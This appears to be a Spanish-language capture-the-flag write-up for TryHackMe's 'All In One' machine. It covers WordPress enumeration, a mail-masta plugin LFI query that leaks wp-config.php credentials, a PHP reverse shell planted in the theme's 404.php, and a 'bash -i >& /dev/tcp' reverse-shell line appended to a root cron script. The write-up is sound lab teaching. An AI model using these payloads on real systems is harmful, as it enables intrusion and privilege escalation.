All In One — TryHackMe

David Alonso
10 min readDec 19, 2020

Muy buenos días a todos, hoy venimos a resolver una nueva máquina de TryHackMe, llamada All In One.

Con esta máquina aprenderemos cosas como:

  • Reconocimiento de entornos wordpress.
  • Explotación del plugin mail masta de Wordpress.
  • Escalada de privilegios debido a una mala configuración del fichero /etc/crontab.

Reconnaissance

Lo primero que haremos será hacer un escaneo rápido para ver todos los servicios levantados y ver las posibles vías de entrada:

kali@kali:~/allinone$ nmap -p- 10.10.36.227
Nmap scan report for 10.10.36.227
Host is up (0.054s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Ahora que ya sabemos todos los puertos abiertos, vamos a hacer un escaneo más completo y a usar un par de scripts básicos centrándonos en esos puertos encontrados:

kali@kali:~/allinone$ nmap -sS -sV -p 21,22,80 10.10.36.227 --script auth,vuln

Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.36.227
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_sslv2-drown:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
| ssh-publickey-acceptance:
|_ Accepted Public Keys: No public keys accepted
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /wordpress/: Blog
|_ /wordpress/wp-login.php: Wordpress login page.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Como podemos observar, tenemos tres servicios corriendo:

  • 21/tcp: FTP → vsftpd 3.0.3

Parece que existen varias vulnerabilidades ligadas con esta versión de ftp ligadas con ataques de DoS. Asimismo, no está en nuestro objetivo.

Como podemos observar, el script de auth nos dice que la autenticación con el usuario anonymous está disponible.

  • 22/tcp: SSH→ OpenSSH 7.6p1

Para esta versión de ssh encontramos algunas posibles vulnerabilidades que habría que intentar explotar para confirmar que el servicio es vulnerable. Entre ellas destaca el CVE-2016–10010, la cual explota una mala configuración del atributo UsePrivilegeSeparation para acceder como root.

  • 80/tcp: HTTP→ Apache 2.4.29

A priori no vemos ninguna vulnerabilidad. Vemos que los scripts de nmap nos devuelven también dos directorios:

  1. /wordpress → Web principal.
  2. /wordpress/wp-login.php → Página de login de Wordpress.

Enumeration

Lo primero, accederemos al puerto 80 (http), para ver qué es lo que está alojando la máquina:

Puerto 80

Como podemos observar,la web muestra la página por defecto del servidor Apache para Ubuntu. Accederemos a las rutas devueltas por el nmap anteriormente:

/wordpress

En la página principal /wordpress vemos que hay un artículo escrito por el usuario “elyana”, nos apuntamos ese nombre de usuario por si lo necesitamos en el futuro.

Por otro lado, viendo la página de login:

/wordpress/wp-login.php

Introduciendo el login iwik:iwik la página nos devuelve el siguiente mensaje: “Unknown username. Check again or try your email address.”.

Sin embargo, cuando introducimos elyana:pass, la web nos devuelve “Error: The password you entered for the username elyana is incorrect. Lost your password?”. Con esto podemos confirmar que elyana tiene un perfil en la página y que quizá tenga acceso por SSH.

Si accedemos vía FTP usando el usuario anonymous vemos que no hay nada alojado en el servidor:

kali@kali:~/allinone$ ftp 10.10.36.227
Connected to 10.10.118.77.
220 (vsFTPd 3.0.3)
Name (10.10.118.77:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Oct 06 11:57 .
drwxr-xr-x 2 0 115 4096 Oct 06 11:57 ..
226 Directory send OK.

Algo que os recomiendo hacer es siempre buscar por todos los hidden files/directories de la web. En este caso, usaremos GoBuster para realizar la búsqueda:

kali@kali:~/allinone$ gobuster dir -u http://10.10.36.227 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .txt,.js,.php/wordpress (Status: 301)
/hackathons (Status: 200)

Desde luego, el directorio /hackathons parece interesante… Vamos a verlo:

/hackathons

En la página nos encontramos el comentario “Damn how much I hate the smell of Vinegar :/ !!!” y un código comentado: Dvc W@iyur@123

Ahora tenemos que ver de que cifrado se trata. El título de la página nos dice que odia el “Vinegar” (Vinagre), personalmente lo primero que se me ha venido a la cabeza al escuchar esa palabra ha sido el cifrado Vigenere… Por probarlo no se pierde nada.

CyberChef

Ahí está! Introduciendo la clave “keepgoing” y el texto cifrado obtenemos “Try H@ckme@123”… ¿Para qué se usa esto? Pues ni idea.

Lo primero que se me viene a la cabeza es probarlo como pass del usuario que hemos encontrado antes pero no funciona ni para el SSH ni para el login del wordpress. Dado que no tenemos nada más, vamos a dejarlo un poco de lado.

Una herramienta que podemos usar para analizar wordpress es wpscan. Ejecutando el siguiente comando, realizaremos una enumeración de todos los usuarios encontrados y diversa información muy valiosa:

kali@kali:~/allinone$ wpscan --url http://10.10.36.227/wordpress/ -e u[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.36.227/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://10.10.36.227/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://10.10.36.227/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.36.227/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.36.227/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
| - http://10.10.36.227/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/
| Last Updated: 2020-12-09T00:00:00.000Z
| Readme: http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.6
| Style URL: http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version: 1.5'
[i] User(s) Identified:[+] elyana
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://10.10.36.227/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

Para ver todos los plugins instalados:

kali@kali:~/allinone$ wpscan --url http://10.10.36.227/wordpress/ -e ap
[+] URL: http://10.10.36.227/wordpress/ [10.10.36.227]
Interesting Finding(s):[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.36.227/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://10.10.36.227/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://10.10.36.227/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.36.227/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.36.227/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
| - http://10.10.36.227/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/
| Last Updated: 2020-12-09T00:00:00.000Z
| Readme: http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.6
| Style URL: http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.36.227/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version: 1.5'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:[+] mail-masta
| Location: http://10.10.36.227/wordpress/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| -
http://10.10.36.227/wordpress/wp-content/plugins/mail-masta/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| -
http://10.10.36.227/wordpress/wp-content/plugins/mail-masta/readme.txt
[+] reflex-gallery
| Location: http://10.10.36.227/wordpress/wp-content/plugins/reflex-gallery/
| Latest Version: 3.1.7 (up to date)
| Last Updated: 2019-05-10T16:05:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 3.1.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.36.227/wordpress/wp-content/plugins/reflex-gallery/readme.txt

Haciendo una ligera búsqueda vemos que el plugin mail masta tiene una vulnerabiliad de tipo LFI (Local File Inclusion) y que podemos intentar explotar.

Exploitation

Haciendo un poco de research encontramos este articulo donde explotan justamente esta vulnerabilidad:

Siguiendo el artículo, conseguimos obtener el archivo de configuración del Wordpress en Base64 usando la siguiente query:

http://10.10.36.227/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/convert.base64-encode/resource=../../../../../wp-config.php

Decodificamos y obtenemos las credenciales del MySQL → elyana:H@ckme@123.

// ** MySQL settings - You can get this info from your web host ** //                                                                                                                                                                      
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'elyana' );

/** MySQL database password */
define( 'DB_PASSWORD', 'H@ckme@123' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

No coinciden con el login del SSH pero si con el login en wordpress.

Una vez accedemos al panel de administrador de Wordpress, lo primero que se me ocurre es subir una reverse shell en la sección de media / pages pero la página tiene un buen filtrado y lo bloquea todo, incluso usando burp.

Otra forma que tenemos de conseguir subir una reverse shell al wordpress es editando el archivo 404.php. Desde que tenemos acceso al panel de administrador de wp, podemos hacer cambios en el menú de Appearance y modificar el código de la página.

Pulsando “Theme Editor” y seleccionando la página 404.php nos mostrará el código de dicha página. Ahora sustituiremos ese código por una reverse shell de pentestmonkey (en php) y guardaremos.

Nota: Podéis conseguir aquí la reverse shell. Recordad cambiar los parámetros de IP y puerto.

Dejamos a la escucha el nc y accedemos a la página 404.php:

10.10.36.227/wordpress/wp-content/themes/twentytwenty/404.php

Lo conseguimos…!

kali@kali:~/allinone$ nc -lvnp 4444
listening on [any] 4444 ...
Linux elyana 4.15.0-118-generic #119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
15:46:25 up 11 min, 0 users, load average: 0.01, 0.55, 0.60
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Una vez dentro, vemos que para acceder a la flag del user debemos ser el usuario elyana y no tenemos la contraseña.

Echando un ojo por los directorios en busca de la contraseña encontramos el archivo /var/backups/script.sh con permisos 777… :)

Por probar suerte, vemos el fichero /etc/crontab:

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts — report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts — report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts — report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts — report /etc/cron.monthly )
* * * * * root /var/backups/script.sh

Exacto, el script está siendo ejecutado por el root constantemente. Sólo hace falta llamar a otra reverse shell y conseguiremos ser root…

echo “bash -i >& /dev/tcp/<IP>/<PORT> 0>&1” >> /var/backups/script.sh

Y así, conseguimos root sin ser siquiera user:

kali@kali:~/allinone$ nc -lvp 8888
listening on [any] 8888 ...
bash: cannot set terminal process group (1964): Inappropriate ioctl for device
bash: no job control in this shell
root@elyana:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@elyana:~#

Happy hacking!

--

--